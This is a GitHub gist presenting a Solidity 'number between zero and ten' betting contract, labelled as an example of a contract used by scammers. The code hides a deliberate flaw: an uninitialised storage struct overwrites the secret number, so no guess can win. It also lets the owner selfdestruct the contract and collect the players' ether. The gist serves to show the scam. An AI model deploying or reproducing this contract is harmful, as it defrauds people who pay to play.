-
-
Save alonsoir/e51c05d443102d339b2c047a36cbbe85 to your computer and use it in GitHub Desktop.
An example of an Ethereum smart contract used by scammers.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.23; | |
| contract NumberBetweenZeroAndTen { | |
| uint256 private secretNumber; | |
| uint256 public lastPlayed; | |
| address public owner; | |
| struct Player { | |
| address addr; | |
| uint256 ethr; | |
| } | |
| Player[] players; | |
| constructor() public { | |
| // On construct set the owner and a random secret number | |
| owner = msg.sender; | |
| shuffle(); | |
| } | |
| function guess(uint256 number) public payable { | |
| // Guessing costs a minimum of 1 ether | |
| require(msg.value >= 1 ether); | |
| // Guess must be between zero and ten | |
| require(number >= 0 && number <= 10); | |
| // Update the last played date | |
| lastPlayed = now; | |
| // Add player to the players list | |
| Player player; | |
| player.addr = msg.sender; | |
| player.ethr = msg.value; | |
| players.push(player); | |
| // Payout if guess is correct | |
| if (number == secretNumber) { | |
| msg.sender.transfer(this.balance); | |
| } | |
| // Refresh the secret number | |
| shuffle(); | |
| } | |
| function shuffle() internal { | |
| // Randomly set secretNumber with a value between 1 and 10 | |
| secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 10 + 1; | |
| } | |
| function kill() public { | |
| // Enable owner to kill the contract after 24 hours of inactivity | |
| if (msg.sender == owner && now > lastPlayed + 24 hours) { | |
| selfdestruct(msg.sender); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment